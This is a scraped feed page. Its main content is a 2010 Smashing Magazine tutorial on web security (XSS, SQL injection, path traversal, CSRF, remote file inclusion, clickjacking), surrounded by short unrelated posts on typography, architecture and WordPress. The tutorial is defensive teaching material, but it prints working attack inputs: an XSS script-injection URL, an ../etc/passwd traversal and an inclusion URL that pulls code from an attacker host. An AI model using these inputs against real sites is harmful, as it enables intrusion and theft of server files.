Sometimes, when you find some nice sceneries, and you would like them to be arranged happening in the same time. This tutorial is such a good combination example to show a man holding a gun and a broken glass. It seems like two different scenes happening together.

(View This Tutorial)

Go to Source

Go to Source

  

Website security is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.

The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don’t know what you did to cause it.

The reason is that security experts don’t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not “password” or “letmein.”

Another reason is those tutorials that show you how to “do something in five minutes” and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.

Disclaimer: the things we’ll talk about in this article today won’t make you a security expert, just as buying a Swiss Army knife won’t make you a locksmith or buying a whip won’t make you a lion tamer. The purpose here is to raise awareness and perhaps make some of that security mumbo-jumbo a bit more understandable to you.

An Interesting Report On Web Security

Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009. A PDF of the report is available, and the numbers are telling:

PDF: Web Vulnerabilities Q1/Q2 2009.

Among the most serious vulnerabilities were path traversal, cross-site scripting, cross-site request forgery and SQL injection. Unmentioned are a newer threat, clickjacking, and a user interface issue called phishing. You may have to deal with all of these as a Web developer if you touch PHP and HTML, CSS and JavaScript. Even if you don’t use PHP, you could still cause a lot of problems. Even if you don’t touch code and simply design, you could be a great asset in this area. You could help make the Web safer by making security issues understandable to your users.

Let’s go through all of these things and explain what they are and do. The first thing you need to know, though, is how URIs work.

URIs: The Main Way To Attack A Web Service

The address of any document (i.e. file on the Internet) is its Uniform Resource Identifier (URI). This is what you enter in the browser bar to access the document and what you embed into code to point to the document. For example, my website address is http://icant.co.uk, and the document you see when you open it in a browser is http://icant.co.uk/index.php (the server automatically redirects to that document). The logo image resides at the URI http://icant.co.uk/iconslogo.png, and the image of me pointing at you is on a totally different server and has the URI http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg.

All of these URIs are okay for you to access. Some URIs, though, contain information that should not be accessible to the outside world. For example, the /etc/password folder on a server contains password and user information that should not leak to the Internet.

Every URI can also contain parameters. These are instructions you can send to the script located at that URI and that are appended to the URI starting with a ? and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI http://www.google.com/search?q=puppies, and if you want to begin your search after the first 50 results, you can use http://www.google.com/search?q=puppies&start=50.

Normally, these parameters are not entered by end users but rather come from the HTML interface. If you look at the source code of the Google home page and get rid of the painful bits, you end up with the following form:

<form name="f" action="/search">
  <input type="hidden" value="en" name="hl"/>
  <input type="hidden" value="hp" name="source"/>
  <input name="q"/>
  <input type="submit" name="btnG"/>
  <input type="submit" name="btnI"/>
  <input type="hidden" name="aq"/>
  <input type="hidden" name="oq"/>
  <input type="hidden" name="aqi"/>
</form>

So in essence, this form sends the content of all of these fields to the URI search and appends them to that URI. This is how you end up with this,

http://www.google.com/search?hl=en&source=hp&q=puppies&aq=f&oq=&aqi=

when you submit the form. Notice, for instance, that I have no btnG parameter because I used the Enter key to submit the form.

On the search results page, you can see the pagination links at the bottom (the 1 2 3 and so on under the Gooooooogle logo), and you can see that these links send the same data to the URI and add a start parameter:

<a href="/search?hl=en&amp;q=puppies&amp;start=40&amp;sa=N">5</a>

You can send parameters to a script with the URI via form fields, links or any other thing in HTML that contains a URI: images, link elements, frames, anything that can take an href or src attribute. If an attacker can override any of these or add a new image to your HTML without you knowing it, they could point to their own URIs and send their own parameters.

You have to be careful with what your parameters contain and where they point to, which could be someone else’s server (to get more code) or sections of your own server that you don’t want to show or send to another server.

Different Types Of Attacks. What Do These Words Mean?

Let’s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.

SQL Injection

With an SQL injection, an attacker accesses your database by sending an SQL command to your server via the URI or form fields. This is easily worked around by sanitizing, but neglecting to do so can be fatal for your website, as the following XKCD comic shows:

XKCD comic showing how SQL injection would delete a database.

Cross-Site Scripting (XSS)

Cross-site scripting is probably the biggest and most common problem. With it, an attacker injects JavaScript code into your document by adding it to the end of the URI as a parameter or in a form field.

Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:

<?php
  // predefine colors to use
  $color = 'white';
  $background = 'black';
  // if there is a parameter called color, use that one
  if(isset($_GET['color'])){
    $color = $_GET['color'];
  }
  // if there is a parameter called background, use that one
  if(isset($_GET['background'])){
    $background = $_GET['background'];
  }
?>

<style type="text/css" media="screen">
  #intro{
    /* color is set by PHP */
    color:<?php echo $color;?>;
    /* background is set by PHP */
    background:<?php echo $background;?>;
    font-family:helvetica,arial,sans-serif;
    font-size:200%;
    padding:10px;
  }
</style>

<p id="intro">Cool intro block, customizable, too!</p>

So far, everything’s kosher, and we’re not even using inline styles! If you save this now as test.php and call it on your server in your browser as the URI http://example.com/test.php, you will get a text intro block that is black on white. The $_GET[] variables come from the URI as parameters, and because they are not set, nothing changes. If you want the colors to be red on pink, you can do this: http://example.com/test.php?color=red&background=pink.

But because you allow any value for the variables, an attacker could send the following:

http://example.com/test.php?color=green&background=</style><script>alert(String.fromCharCode(88,83,83))</script>

This would effectively close the style block prematurely and add a script to the document. In this case, all we would be doing is writing out the word XSS, but we could do anything that a JavaScript is allowed to do. You can see the results in the following screenshot:

Large view

Once you have successfully injected JavaScript, you will be able to read out cookies; open forms that ask the user to enter their passwords or credit card details; execute viruses, worms and “drive-by downloads”; the lot. The reason is that JavaScript is not bound by any security model; any script on the page has the same rights, no matter which server it has come from. This is a big security problem with JavaScript and is something clever people are working on.

XSS is a very common problem. Websites such as XSSED.org have a field day showing the world just how many websites are vulnerable:

The remedy for XSS is to be very paranoid about anything that comes via forms or the URI. You also need to be sure that your PHP is set up properly (we’ll come back to some ways to test for that and to write good code later on).

Path Traversal

Allowing for path or directory traversal on your server is an amazingly bad idea. You would be allowing people to list the folders on your server and to navigate from folder to folder. This allows attackers to go to folders with sensitive information or website functionality and have some fun. The following screenshot is of me accessing the database of a sandwich company, sending emails from their server and reading the order logs:

Large view

I was able to get all of this information simply by accessing the cgi-bin folder, which was unprotected from being listed. So, instead of going to http://example.com, I went to http://example.com/cgi-bin/ in my browser. I knew something was wrong on their big Flash website when I clicked on the menu. It popped up in a new window and had a URI like

http://www.example.com/cgi/food_db/db.cgi?db=default&uid=default&Category=Sandwiches&Subcategory=Sandwiches&Product=Chicken%20and%20Bacon&Soup_size=&Drinks_milk_type=&ww=on&view_records=yes

which gave me all the information I needed to play around.

The other problem of allowing folders to be listed is that search engines will index your information, allowing anyone to use Google as a hacking tool. As servers create a page with a title and a headline of the folder name, these are indexed by Google.

You could search for, say, “index of /ebooks” to find electronic books online or “index of /photos” to find photos. To see search tests such as this one, check out the Google a Dream Come True article, which listed many of them in 2003(!).

This method of searching worked much better in the past, by the way: not because people protect their servers better now, but because spammers who offer fake pirated products realize that people do these searches and fake it now to optimize their own websites’ search engine rankings.

Cross-Site Request Forgery

Cross-site request forgery (CSRF) exploits browsers and websites that allow for functionality to be called without really knowing that an actual user initiated it. Say you have a form on your website http://example.com that works with GET and sends things to your database:

<form method="get" action="add_to_db.php">
  <div>
    <label for="name">Name</label>
    <input type="text" id="name" name="name">
  </div>
  <div>
    <label for="email">email</label>
    <input type="text" id="email" name="email">
  </div>
  <div>
    <label for="comment">Comment</label>
    <textarea id="comment" name="comment"></textarea>
  </div>
  <div><input type="submit" value="tell me more"></div>
</form>

Forms can be sent by two methods: GET adds all of the parameters to the URI visibly in the address bar, whereas POST sends them “under the hood.” POST also allows you to send much more data. This is a simplification but all you need to know for now.

If the script that adds to the database doesn’t check that the form was really sent from your server, I could add an image to any website by doing this:

<img src="http://example.com/add_to_db.php?
name=cheap%20rolex&email=susan@hotchicks.com&comment=mortgage%20help" width="1" height="1">

Anybody coming to my website would now be putting another comment into your database. I could use an image or CSS link or script or anything that allows for a URI to be defined and loaded by a browser when the HTML renders. In CSS, this could be a background image.

CSRF becomes even more dangerous when you are logged into and authenticated by a particular system. An image in any other tab in your browser could execute a money transfer, read your emails and send them on and many other evil things.

A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued Web accelerator tool (GWA). The idea was to pre-fetch websites that were linked to from the current document, thus making surfing faster. All well and good… until you ended up with delete links in websites that worked like this:

<a href="/app/delete_entry.php?id=12">delete</a>

Because some applications did not check if this was an initiated deletion or an attempt of GWA to pre-load the page, the tool deleted whole blogs and product databases. Google did nothing wrong, but the community learned a lot about CSRF that day.

Now, you might suppose that moving your forms from GET to POST would make them safe, right? Partially, yes, but an attacker could still use a form and trick people into clicking a button to make the request:

<form method="post" action="add_to_db.php">
  <div>
    <input type="hidden" name="name" value="bob">
    <input type="hidden" name="email" value="bob@experts.com">
    <input type="hidden" name="comment"
           value="awesome article, buy cialis now!">
  <input type="submit" value="see beautiful kittens now!">
  </div>
</form>

You could even use JavaScript to automatically send the form or a script on another server to do the POST request from the back-end. There are many ways to exploit CSRF, and protecting against it is not that hard.

Remote File Inclusion (RFI)

With Remote file inclusion or code injection, an attacker uses a flaw in your website to inject code from another server to run on yours. It is in the same family as XSS but much more problematic because you have full access to your server (with JavaScript, you can steal cookies and call other code, but you can’t access the file system without resorting to tricks with Flash or Java Applets).

Any code injected to your server with an untested variable and include() command, for example, could run server commands: upload and download and transfer data to other servers, check your server passwords and user names, anything you can do on the command line via PHP or ASP if your server allows for it.

This is probably the worst that can happen to your server, because with command line access, I could turn it into an attack machine for a server network attack, silently listen to everything you and your users do on the server and send it to another Web resource, store information and viruses for distribution, inject spam links, you name it.

The workaround is to turn off globals and to never ever assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)

Phishing

Phishing is the technique of fooling people into entering information into a bad website. You show end users an interface that looks legit (for a bank or what have you) but that in reality sends their information to your database. Because phishing is a felony, I cannot show you a demo.

The trick with phishing is to make the form really look like it comes from a website you trust. You have probably gotten emails saying that your “XYZ bank account” has been compromised, and you know for certain that this isn’t the case because you have no account with that bank and may not have even heard of it. This is a wild-guess phishing attempt, which is not usually effective.

On the Web, though, an attacker can perform a JavaScript trick to find out where you’ve been. As Jeremiah Grossman showed some years ago, you can use JavaScript to determine the state of a link on the page. Because the colors of visited and unvisited links are different, we can use this technique to figure which websites a user has been to and then display the appropriate logo above the form. This demo shows this quite effectively. Funny enough, you can also use this trick for good; for example, by showing people only the buttons of social media websites they use.

Clickjacking

Clickjacking is a terribly clever way to use CSS and inline frames to trick users into clicking something without knowing it. Probably the most famous example of this was the “Don’t click me” exploit of Twitter a few months ago. All of a sudden, Twitter was full of messages pointing to a website with a button that read “Don’t click me”. Here is an examples for Jason Kottke’s stream:

Twitter’s “Don’t Click” prank, explained

Human nature being what it is, many people clicked the button, which seemingly did nothing. What it actually did, though, was put your Twitter home page on top of the button as a frame, with an opacity of 0 in the CSS. The update field was pre-set with the tweet pointing to the page. The following screenshot makes this obvious, with the opacity set here to 0.5:

By clickjacking, you can make end users do things without knowing it. Every action on a website that can be performed with a simple click can be exploited with this trick.

Clickjacking is a massive problem because it is done via CSS, not a script. Unless browsers block frames from having an opacity of 0, there is no simple workaround. The main counter-measure people take is to disallow embedding in frames using JavaScript. However, with JavaScript off, clickjacking still works.

Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.

Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.

Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.

In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).

Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.

There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.

Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.

So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code. This is a good idea (the list, that is, not the leak).

What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.

Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

1. Create a new folder on the server; for example, pathtest.
2. Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
3. Check the folder in your browser; for example, by going to http://example.com/pathtest/
4. If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.

You can easily test if globals are enabled:

1. Create a new file named test.php.
2. Add the following code to it:

   <?php echo "*".$ouch.'*';?>

3. Upload the file to your server.
4. Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
5. If your browser shows “*that hurts*”, then your server has globals registered.
6. Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:

if($_POST['username'] == 'muppet' &&
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.

Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.

Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.

Automatically Checking PHP for Security Issues

Uploading PHPSecInfo to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.

But never leave this on a live server because it gives attackers a lot of details about your set-up!

PHPSecInfo gives you detailed security information about your PHP setup.

What To Do To Your Code

Because you likely do not have much to do with your server let’s focus on things you do have full control of.

HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

• HTML structures your content.
  HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
• HTML is fully visible.
  Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
• Hiding things doesn’t make them go away.
  Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:

<select name="class">
  <option value="ec">Economy</option>
  <option value="ecp">Economy Plus</option>
  <!--
  <option value="bu">Business</option>
  <option value="fi">First</option>
  -->
</select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug to add a new option to the form, select the value you wanted and send it off.

CSS

CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.

Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.

CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.

Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.

JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

• Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
• Warn users about flawed entries (password strength, for instance).
• Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
• Create visual effects that cannot be done safely with CSS (animation, menus, etc.)

JavaScript is very powerful, though, which also means that it is a security issue:

• JavaScript gives you full access to the document and allows you to post data to the Internet.
• You can read cookies and send them elsewhere.
• JavaScript is also fully readable by anyone using a browser.
• Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.

This means you should not try to do any of the following in JavaScript:

• Store sensitive information (e.g. credit card numbers, any real user data).
• Store cookies containing session data.
• Try to protect content (e.g. right-click scripts, email obfuscation).
• Replace your server or save on server traffic without a fallback.
• Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
• Trust any JavaScript that does not come from your server or a similar trusted source.
• Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use document.write() on unfiltered data, you expose yourself to XSS attacks.

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.

PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.

There are two ways to deal with this: whitelisting and proper filtering.

Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.

Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.

The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.

The template then normally contains something like this:

<?php include($_GET['page']);?>

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.

It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd%00 or the like would allow an attacker to read your passwd file.

If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.

In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:

<?php
$sites = array(
  'about'=>'about-us.php',
  'contact'=>'contact.php',
  'clients'=>'clients.php',
  'portfolio'=>'portfolio.php',
  'home'=>'index.php',
  'partners'=>'partners.php'
);
if( isset($_GET['page']) &&
    isset($sites[$_GET['page']]) &&
    file_exists($sites[$_GET['page']]) ){
      include($sites[$_GET['page']]);
} else {
  echo 'This page does not exist on this system.';
}
?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.

Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.

Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:

$authenticated = false;
if($_POST['username'] == 'muppet' &&
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.

Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.

$color = 'white';
$background = 'black';
if(isset($_GET['color']) && isvalid($_GET['color'])){
  $color = $_GET['color'];
  if(ishexcolor($color)){
    $color = '#'.$color;
  }
}
if(isset($_GET['background']) && isvalid($_GET['background'])){
  $background = $_GET['background'];
  if(ishexcolor($background)){
    $background = '#'.$background;
  }
}
function isvalid($col){
  // only allow for values that contain a to z or 0 to 9
  return preg_match('/^[a-z0-9]+$/',$col);
}
function ishexcolor($col){
  // checks if the string is 3 or 6 characters
  if(strlen($col)==3 || strlen($col)==6){
    // checks if the string only contains a to f or 0 to 9
    return preg_match('/^[a-f0-9]+$/',$col);
  }
}

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use.

If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.

The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier is also available.

Housekeeping

One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.

Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code or GitHub and redirect the old folder to it.

It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.

Check Your Log Files

Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.

Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.

That is not really the interesting part of the statistics package or log files, though:

• Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.
• Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.
• Search the logs for “txt?” endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is robots.txt, which is a file that search engines request before reading a folder; this is not an issue and wouldn’t be followed by a question mark anyway.
• Check the error messages and how many of them were 404 errors (”Page not found”). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.
• Check which users tried to authenticate. If a user you don’t know was causing a lot of traffic, they already got control of your server.

Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.

Want To Know More?

If you want to know more about the subject, here are some presentations and resources. Please add more in the comments if you know of good ones.

• VirtualForge has some very nice video tutorials explaining different security threats.
• Simon Willison has a good SlideShare presentation on security fundamentals. He is also a prolific curator of security-related news.
• Things That Go Bump on the Web was my first security talk, given at last year’s Web Directions North. This is the video, and here is the slidedeck that goes with it.
• Basic Housekeeping: Plugging Obvious Security Holes In Websites was my security-related talk at last year’s Paris Web conference, covering a lot of what I’ve talked about here in detail.

(al)

© Christian Heilmann for Smashing Magazine, 2010. | Permalink | 26 comments | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: security

Go to Source

Typography designers can exercise a lot more artistic freedom in the design of the ampersand, ranging from very traditional representations to those that bear little resemblance to the original form.

But many designers have little knowledge about the origin and meaning of the ampersand. The ampersand has a long and rather interesting history, though.

And with all the variations available out there, there are a whole host of design possibilities presented by this particular character.

Read on for more information, a history of the ampersand, and a gallery of ampersand designs from a variety of different typefaces.

A Brief History of the Ampersand

The ampersand can be traced back to the first century AD. It was originally a ligature of the letters E and T (”et” is Latin for and). If you look at the modern ampersand, you’ll likely still be able to see the E and T separately.

The first ampersands looked very much like the separate E and T combined, but as type developed over the next few centuries, it eventually became more stylized and less representative of its origins.

You can see the evolution of the ampersand below (1 is like the original Roman ligature, 2 and 3 are from the fourth century, and 4-6 are from the ninth century).

The modern ampersand has remained largely unchanged from the Carolignian ampersands developed in the ninth century.

Italic ampersands were a later ligature of E and T, and are also present in modern fonts. These were developed as part of cursive scripts that were developed during the Renaissance. They’re often more formal-looking and fancier than the standard Carolignian ampersand.

The word “ampersand” was first added to dictionaries in 1837. The word was created as a slurred form of “and, per se and”, which was what the alphabet ended with when recited in English-speaking schools. (Historically, “and per se” preceded any letter which was also a word in the alphabet, such as “I” or “A”. And the ampersand symbol was originally the last character in the alphabet.)

The ampersand is a part of every roman font. It’s used in modern text often, probably most frequently in the names of corporations and other businesses, or in other formal titles (such as Dungeons & Dragons).

It’s experiencing a bit of a resurgence in general usage, as it commonly replaces “and” in text messages and Twitter updates. Ampersands are also commonly used in programming, particularly in MySQL, C and C++, XML, SGML, and BASIC.

Ampersand Designs

The original ampersand designs reflected their origins as a ligature of E and T. Even as the ampersand has evolved and become more stylized, it still retains the basic shape of E and T combined.

The standard ampersand most of us are used to seeing is the Carolignian variety, and is featured in many commonly-used fonts. Here are some examples:

Andale Mono – A very traditional, sans-serif example.

Apple Chancery – A fancier, serif example.

Kingthings Petrock - A gothic example.

The other common ampersand design is the italic ampersand, featured below:

Monotype Corsiva – A traditional script example.

Scriptina - A less-formal script example.

Aller Dispay – A modern, sans-serif example.

Hill House – A craftsman-style example.

Ampersands in Websafe and Web-Common Fonts

Some websafe and commonly used fonts on the web have excellent ampersand designs. Others, not so much. Here are the ampersands from a variety of web-common fonts:

Arial – Arial has a very basic, sans-serif ampersand.

Georgia - A very traditional, serif ampersand.

Helvetica – Helvetica’s ampersand is slightly more refined than Arial.

Palatino – Another very traditional example.

Times New Roman – A heavy, somewhat bulky-looking ampersand.

Verdana – The verdana ampersand is more squat and square than many other sans-serif examples.

Trebuchet MS – The only web-common font that uses an italic-style ampersand.

If you’re unhappy with the ampersand in a font you’ve chosen for your website, there are ways to use custom ampersands. The Typogrify plugin for WordPress makes it incredibly easy to use a custom ampersand on your WordPress blog.

The Ampersand in Design and Art

Ampersands have become a bit of an obsession for some. There are blogs that focus on ampersands (some within larger typography blogs, others focusing solely on the ampersand). There are t-shirts. And there are a surprising number of people out there who have ampersand tattoos. Here are some examples of ampersands in real life:

Using Ampersands in Your Designs

Whether for a web project or a print design, ampersands can play a prominent role in the look and feel of your website. When used in titles or headers they can add some extra graphic impact without images.

Italic ampersands, which are generally formal and fancy, can add extra elegance to a design that otherwise remains minimal. Carolignian ampersands in a sans-serif font are often bolder and have a modern feeling.

Carolignian ampersands in a serif font have a very traditional feeling, though depending on the specific font they can become more formal or more modern. A few more examples:

Italic Ampersands

Lucida Handwriting

Papyrus

Windsong

Goudy Bookletter 1911

Bernhard Modern

Caviar Dreams

Carolignian Ampersands

Lithos Pro

Tahoma

Optima

American Typewriter

Regency Script

Further Information

Here are some additional resources, and sources used in the crafting of this post.

• 112. Ampersand – A short but excellent history from Art Lebedev Studio.
• Ampersand – Wikipedia’s entry on the ampersand.
• The Ampersand – Adobe’s history of the ampersand.
• The Ampersand – An entire blog devoted to real-life examples of the ampersand.
• Ampersand Typography – Another blog devoted to ampersand examples, particularly historical ones.
• The Funkiest Ampersands You Have Ever Seen – An excellent roundup of unusual ampersand designs from Spoon Grahpics.
• The Mesmerizing Curves of Ampersands – Another excellent roundup of ampersand designs, with download links.

Written exclusively for WDD by Cameron Chapman.

Do you use the ampersand in your designs? Feel free to share some examples below…

If you find an exclusive RSS freebie on this feed or on the live WDD website, please use the following code to download it: J4Nc4F

Go to Source

I love those minimalist constructions, and I don’t mean that should be a white building to be minimalist. Look this project by H Architects for an example, it is an apartment block in Barcelona, Spain, with an amazing shape, simple windows and looking at the whole thing, even the dark color seems minimalist.

<!–break–>

The building has been made with basalt stone, because of the fact that due to its porosity and texture, it constantly changes in colour and reflection according to the different degrees of humidity. The wood fibers and the gray color playing togheter brings the perfect composition of colors and materials.

The three facades of the building become a single skin that, thank to the continuous use of the stone even in the shutters, unifies the volume and consolidates the characteristic predominance of the massive-wall facades in the old quarter.

In the inside, the shutters are wood-panelled and, once open, evolve from their anonymous presence towards singularity.

Photos by: H Architects

More details at dezeen.com

Go to Source

When building a WordPress blog for a client, it can be a good idea to remove access to some dashboard menus in order to avoid future problems such as the client “accidentally” deleting the custom theme they paid for.
